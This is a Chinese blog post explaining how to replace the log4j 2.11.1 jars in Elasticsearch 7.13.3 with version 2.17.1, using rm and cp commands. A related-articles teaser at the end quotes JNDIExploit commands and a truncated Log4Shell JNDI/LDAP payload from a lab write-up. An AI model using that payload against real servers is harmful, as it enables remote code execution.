elasticsearch-7.13.3 升级log4j 到log4j-2.17.1

这篇具有很好参考价值的文章主要介绍了elasticsearch-7.13.3 升级log4j 到log4j-2.17.1。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

1、升级原因
log4j低版本存在严重漏洞,根据需要升级到安全版本,不一定是最新。

log4j-2.17.1 jar包下载地址https://archive.apache.org/dist/logging/log4j/2.17.1/
2、下载后解压apache-log4j-2.17.1-bin.tar.gz
升级需要用到截图中四个jar包
log4j最新jar包,log4j,elasticsearch,大数据

3、升级
删除旧版本log4j
进入elasticsearch-7.13.3目录
$ rm -rf lib/log4j-core-2.11.1.jar
$ rm -rf lib/log4j-api-2.11.1.jar
$ rm -rf modules/x-pack-identity-provider/log4j-slf4j-impl-2.11.1.jar
$ rm -rf modules/repository-url/log4j-1.2-api-2.11.1.jar
$ rm -rf modules/x-pack-core/log4j-1.2-api-2.11.1.jar
$ rm -rf modules/x-pack-security/log4j-slf4j-impl-2.11.1.jar

4、将需要升级的包拷贝到对应目录
$ cp log4j-core-2.17.1.jar /home/elk/elasticsearch-7.13.3/lib/
$ cp /log4j-api-2.17.1.jar /home/elk/elasticsearch-7.13.3/lib
$ cp log4j-slf4j-impl-2.17.1.jar /home/elk/elasticsearch-7.13.3/modules/x-pack-identity-provider/
$ cp log4j-1.2-api-2.17.1.jar /home/elk/elasticsearch-7.13.3/modules/repository-url/
$ cp log4j-1.2-api-2.17.1.jar /home/elk/elasticsearch-7.13.3/modules/x-pack-core/
$ cp log4j-slf4j-impl-2.17.1.jar /home/elk/elasticsearch-7.13.3/modules/x-pack-security/
5、重新启动elasticsearch服务文章来源地址https://www.toymoban.com/news/detail-663418.html

到了这里,关于elasticsearch-7.13.3 升级log4j 到log4j-2.17.1的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • log4j官方漏洞修复史(更新至2.17.1/CVE-2021-44832)

    自从log4j2.14.1版本爆出漏洞后,官方截止目前为止,共发布了3个稳定版本,分别是15.0、16.0、17.0。 本篇文章就分析一下每个版本都做了哪些事情,以此来评估每个版本升级的必要性。 分割线--------------------------------------------------------------------------------------- 在28号晚上,log4

    2024年02月07日
    浏览(55)
  • JNDIExploit-1.2-SNAPSHOT.jar工具在log4j漏洞复现中的使用

    1.首先搭建log4j靶场 2.开启服务 Windows攻击端执行以下命令 java -jar JNDIExploit-1.2-SNAPSHOT.jar -l 8888 -p 9999 -i 127.0.0.1 再开一个cmd可以看下能用什么payload java -jar JNDIExploit-1.2-SNAPSHOT.jar -u 以上payload都可以尝试,我们使用 ldap://null:1389/TomcatBypass/TomcatEcho 3.构造请求 ${jndi:ldap://192.168.155.2

    2024年02月09日
    浏览(45)
  • 【分布式技术专题】「Zookeeper中间件」zookeeper的服务器的log4j升级为log4j2的升级方案(忽略配置化兼容问题)

    目前希望可以升级将Zookeeper中log4j的版本升级到log4j2版本,并且要避开相关的log4j2的安全隐患问题,此时需要考虑的就是针对于如何将无缝衔接log4j2的版本jar包的安装呢?我们接下来观察一下看看问题所在。目前我采用的环境是windows环境,不过也同样对其他操作系统有效,毕

    2024年02月20日
    浏览(38)
  • Springboot通过log4j2+logstash整合日志到Elasticsearch中

    Springboot常用于spring-cloud中,大家在使用spring-cloud多服务的时候常常会存在一个问题,就是某个服务报错了,去捞日志的时候要一个一个服务去监控或者捞日志排查错误信息,这样很耗时耗力,Elasticsearch查询数据非常方便,如果能够将日志保存到Elasticsearch中,出现问题时根据

    2024年02月04日
    浏览(46)
  • Java中的Log4j是什么?如何使用Log4j进行日志管理

    Log4j是一个Java日志管理工具,它可以帮助开发者在应用程序中记录日志。它是由Apache软件基金会开发和维护的,已经成为Java开发中最流行的日志管理框架之一。 Log4j可以通过多种方式记录日志,包括控制台输出、文件输出、数据库存储等。此外,Log4j还提供了多种日志级别,

    2024年02月04日
    浏览(55)
  • Log4J

    为什么要用日志? -- 方便调试代码 什么时候用?什么时候不用? ​ 出错调试代码时候用 生产环境下就不需要,就需要删除 怎么用? -- 输出语句 ​ log4j是Apache的一个开放源代码的项目,通过使用log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件、甚至是套接口服

    2024年02月08日
    浏览(41)
  • docker安装elasticsearch报错 main ERROR No Log4j 2 configuration file found. Using default configuration

    Exception in thread \\\"main\\\" ElasticsearchParseException[malformed, expected settings to start with \\\'object\\\', instead was [VALUE_STRING]] 报错信息 2023-04-06 15:40:50,427 main ERROR No Log4j 2 configuration file found. Using default configuration (logging only errors to the console), or user programmatically provided configurations. Set system property \\\'lo

    2024年02月07日
    浏览(50)
  • log4j漏洞详解

    log4j全名就是(log for java),就是apache的一个开源的日志记录组件 ,它在Java项目中使用的比较广泛。 使用方法:                 1.pom引入依赖                 2.获取logger实例                 3.logger.info() debug() error() warn()... 优点:功能丰富,易于集成

    2024年02月16日
    浏览(42)
  • 【日志加载 log4j】

    2.编写配置 3.获取日志对象 4.1 Loggers 记录器 4.2 Appenders 输出源 4.3 Layouts 布局 5. 配置文件 log4j.properties

    2024年02月11日
    浏览(88)
  • Log4j源码解析

    Log4j源码解析 主要流程 Logger logger = Logger.getLogger(Main.class); 1、通过Logger.getLogger(Class clazz) 或 Logger.getLogger(String name)进入。 2、加载LogManager进jvm, 执行静态代码块执行初始化, 创建出RepositorySelector实例及LoggerRepository实例(Hierarchy)。 3、调用OptionConverter.selectAndConfigure(URL url, String

    2024年02月15日
    浏览(46)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包